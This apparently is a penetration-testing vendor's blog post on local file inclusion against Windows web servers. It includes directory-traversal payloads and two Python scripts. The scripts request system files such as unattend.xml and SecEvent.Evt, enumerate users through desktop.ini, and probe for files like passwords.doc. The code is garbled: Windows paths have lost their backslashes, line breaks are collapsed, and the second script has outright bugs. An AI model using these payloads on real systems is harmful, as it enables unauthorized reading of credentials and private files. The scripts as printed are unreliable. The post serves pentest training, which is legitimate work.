This is the 5th in a series of blog topics by penetration testers, for penetration testers, highlighting some of the advanced pentesting techniques they’ll be teaching in our new Network Assault and Application Assault certifications, opening for registration this week. For more information, check out the training page at www.rapid7.com/services/training-certification/penetration-testing-training.jsp
First things first, I think it’s important to define this topic. Per OWASP, “Local File Inclusion (LFI) is the process of including files, that are already locally present on the server, through the exploiting of vulnerable inclusion procedures implemented in the application.” Taking a look at that definition, what does it really mean? Essentially, it states that through some means someone may be able to access files on your local system through your application.
Very often when talking about LFI you are talking about utilizing Directory Traversal (‘../’) to move up from the WebRoot directory to access local files. In many different examples throughout the web you will see articles discussing LFI in regards to accessing files within Linux, such as accessing ‘/etc/passwd,’ or log files within ‘/var/log,’ or a user’s Bash history ‘/home/[USERNAME]/.bash_history.’ An example of accessing /etc/passwd within a web application is shown in Figure 1.
However, it isn’t very often that you see any articles or blog posts that discuss files to access within Windows in the case that a LFI vulnerability is discovered within an application on a Windows Server. This blog post will discuss potential files to access on a Windows Server.
On Windows a very common file that a penetration tester might attempt to access to verify LFI is the hosts file, WINDOWSSystem32driversetchosts. This will generally be the first file someone tries to access to initially ensure they have read access to the filesystem. From this initial read access there are a number of places that someone might go within the filesystem to retrieve files; in fact there are a number of great blog posts and articles available that discuss potential files to then access. However, another great area to look for interesting files is within a user’s directory.
A great way to enumerate users with LFI is to look for the desktop.ini file. With LFI, when discovering the desktop.ini file for a user’s account, which will be located at (in newer versions of Windows) C:Users[USERNAME]Desktopdesktop.ini, you can begin attempting to discover potential files that could be contained within their Desktop or Documents folder as users often store sensitive information within these folders.
Based on all of this, what are some simple ways to attempt to discover LFI within a web application? A quick Python script can allow for the testing of LFI. First, a quick example script to test for the ability to read some common Windows files within an example web application, in this case ‘www.testpage.com‘ which has a parameter named ‘page’ that allows for LFI. In this case, you could have the following script with the use of the ‘Requests‘ and ‘Webbrowser‘ Python libraries:
import requestsimport webbrowser url = 'http://www.testpage.com?page=' LFI = '../../../../../../../../../' pages = ['WINDOWS/system32/drivers/etc/hosts', 'WINDOWS/system32/win.ini', 'WINDOWS/system32/debug/NetSetup.log', 'WINDOWS/system32/config/AppEvent.Evt', 'WINDOWS/system32/config/SecEvent.Evt', 'WINDOWS/Panther/unattend.txt', 'WINDOWS/Panther/unattend.xml', 'WINDOWS/Panther/unattended.xml', 'WINDOWS/Panther/sysprep.inf'] for x in pages: check = requests.get(url + LFI + x) if check.status_code == 200: webbrowser.open(url + LFI + x)
In the above example, we are attempting to make the request to verify the HTTP response code of 200 to see if when we access the file within the web application that it is returned (i.e. that it exists). Then, with the use of the ‘Webbrowser’ library we can open the page to download the file within our web browser to open it with your favorite text editor easily. Note, there may be situations that this simple of a script may not be the best option, specifically those areas where all requests return a 200 for the page and you are testing a large list of potential files. In those cases each request will open in the browser and if a file is reachable it will either display within the browser or be available to review within your text editor. Granted, there are many ways to accomplish this task with Python, but this is one of my favorites.
The following shows another Python script to attempt to enumerate usernames by locating paths that return a ‘desktop.ini’ file as discussed earlier, then when a username is verified on the server you can attempt to find potential files that may contain sensitive information stored on the user’s Desktop on the server.
import requestsimport webbrowser url = 'http://www.testpage.com?page=' LFI = '../../../../../../../../../' usernames = ['bob.jones', 'tom.johnson', 'mary.thomas', 'bill.smith'] desktopini = '/Desktop/desktop.ini' usersfiles = ['accounts.txt', 'passwords.doc', 'configs.txt', 'sensitiveinfo.doc'] for x in usernames: check = requests.get(url + LFI + x + desktopini) if check.status_code == 200: print(‘User ’ + x + ‘was found’) desktopsearch = requests.get(url + LFI + '/Desktop/' + usersfiles) if desktopsearch.status_code == 200: webbrowser.open(url + LFI + '/Desktop/' + usersfiles)
These example scripts are essentially trivial examples, but they provide enough to get you started to begin searching for LFI with Windows and gets you started in beginning to find information that could be very useful for Penetration Tests.
Want to learn more techniques for application and network penetration testing? Go back and read the other blogs in our “Pentesting in the Real World” series and sign up for our new Network Assault and Application Assault courses!